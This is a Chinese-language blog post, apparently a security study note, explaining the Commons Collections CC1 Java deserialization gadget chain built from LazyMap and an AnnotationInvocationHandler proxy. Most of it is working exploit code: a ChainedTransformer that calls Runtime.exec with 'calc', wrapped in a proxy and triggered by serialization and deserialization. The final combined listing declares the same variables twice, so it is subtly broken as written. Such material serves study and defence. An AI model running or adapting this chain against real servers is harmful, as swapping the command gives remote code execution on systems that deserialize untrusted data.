cc1擴充(正版鏈)

毛利_小五郎發表於2024-07-19

LazyMap

第一步

lazymap原始碼

        public class LazyMap
            extends AbstractMapDecorator
            implements Map, Serializable {

        
        private static final long serialVersionUID = 7990956402564206740L;

       
        protected final Transformer factory;

        
        public static Map decorate(Map map, Factory factory) {
            return new org.apache.commons.collections.map.LazyMap(map, factory);
        }

        public static Map decorate(Map map, Transformer factory) {
            return new org.apache.commons.collections.map.LazyMap(map, factory);
        }

       
        protected LazyMap(Map map, Factory factory) {
            super(map);
            if (factory == null) {
                throw new IllegalArgumentException("Factory must not be null");
            }
            this.factory = FactoryTransformer.getInstance(factory);
        }

       
        protected LazyMap(Map map, Transformer factory) {
            super(map);
            if (factory == null) {
                throw new IllegalArgumentException("Factory must not be null");
            }
            this.factory = factory;
        }

       
      
        private void writeObject(ObjectOutputStream out) throws IOException {
            out.defaultWriteObject();
            out.writeObject(map);
        }

       
        private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
            in.defaultReadObject();
            map = (Map) in.readObject();
        }

        
        public Object get(Object key) {
           
            if (map.containsKey(key) == false) {
                Object value = factory.transform(key);
                map.put(key, value);
                return value;
            }
            return map.get(key);
        }

        
    }

我們來測試一下

  Transformer[] transformers = {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
            new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
            new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
    };
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    Runtime r = Runtime.getRuntime();
    Class lazyclass = LazyMap.class;
    HashMap<Object, Object> hashMap = new HashMap<>();
    Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);
    Method lazyGetMethod = lazyclass.getDeclaredMethod("get", Object.class);
    lazyGetMethod.setAccessible(true);
    lazyGetMethod.invoke(decorateMap, r);

第二步

尋找能夠呼叫readobject裡的get函式:package sun.reflect.annotation;

annotation部分原始碼

  public Object invoke(Object proxy, Method method, Object[] args) {
    String member = method.getName();
    Class<?>[] paramTypes = method.getParameterTypes();

    // Handle Object and Annotation methods
    if (member.equals("equals") && paramTypes.length == 1 &&
        paramTypes[0] == Object.class)
        return equalsImpl(args[0]);
    if (paramTypes.length != 0)
        throw new AssertionError("Too many parameters for an annotation method");

    switch(member) {
    case "toString":
        return toStringImpl();
    case "hashCode":
        return hashCodeImpl();
    case "annotationType":
        return type;
    }

    // Handle annotation member accessors
    Object result = memberValues.get(member);

    if (result == null)
        throw new IncompleteAnnotationException(type, member);

    if (result instanceof ExceptionProxy)
        throw ((ExceptionProxy) result).generateException();

    if (result.getClass().isArray() && Array.getLength(result) != 0)
        result = cloneArray(result);

    return result;
}

若要呼叫裡面的invoke可以使用proxy代理

    Transformer[] transformers = {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
            new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
            new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
    };
    HashMap<Object, Object> hashMap = new HashMap<>();
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);

上面這部分沒有修改就是常規的

構造一個代理器

 Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor annotationInvocationHandler = c.getDeclaredConstructor(Class.class, Map.class);
    annotationInvocationHandler.setAccessible(true);
    InvocationHandler h = (InvocationHandler) annotationInvocationHandler.newInstance(Override.class,decorateMap);

InvocationHandler把要代理的引數寫的明明白白,當呼叫這個代理器的時候就可以直接觸發引數相關的函式了

然後生成代理例項

Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h);

然後將代理例項放入annotationInvocationHandler.newInstance這樣就能夠呼叫invoke

 Object o = annotationInvocationHandler.newInstance(Override.class,mapProxy);

最後就序列化反序列化就成功了

最後程式碼

 Transformer[] transformers = {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
            new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
            new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
    };
    HashMap<Object, Object> hashMap = new HashMap<>();
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);

    Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor annotationInvocationHandler = c.getDeclaredConstructor(Class.class, Map.class);
    annotationInvocationHandler.setAccessible(true);
    InvocationHandler h = (InvocationHandler) annotationInvocationHandler.newInstance(Override.class,decorateMap);
    Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h);
    Object o = annotationInvocationHandler.newInstance(Override.class,mapProxy);
    serialize(o);
    unserialize("ser.bin");

全部程式碼

public class cc6 {
public static void main(String[] args) throws Exception {
    Transformer[] transformers = {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
            new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
            new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
    };
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    Runtime r = Runtime.getRuntime();
    Class lazyclass = LazyMap.class;
    HashMap<Object, Object> hashMap = new HashMap<>();
    Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);
    Method lazyGetMethod = lazyclass.getDeclaredMethod("get", Object.class);
    lazyGetMethod.setAccessible(true);
    lazyGetMethod.invoke(decorateMap, r);//第一步


    Transformer[] transformers = {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
            new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
            new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
    };
    HashMap<Object, Object> hashMap = new HashMap<>();
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);

    Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor annotationInvocationHandler = c.getDeclaredConstructor(Class.class, Map.class);
    annotationInvocationHandler.setAccessible(true);
    InvocationHandler h = (InvocationHandler) annotationInvocationHandler.newInstance(Override.class,decorateMap);
    Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h);
    Object o = annotationInvocationHandler.newInstance(Override.class,mapProxy);
    serialize(o);
    unserialize("ser.bin");//第二步


}


public static void serialize(Object obj) throws IOException {
    ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
    oos.writeObject(obj);

}

public static Object unserialize(String fileName) throws IOException, ClassNotFoundException {
    ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
    Object obj = ois.readObject();
    ois.close();
    return obj;
}

相關文章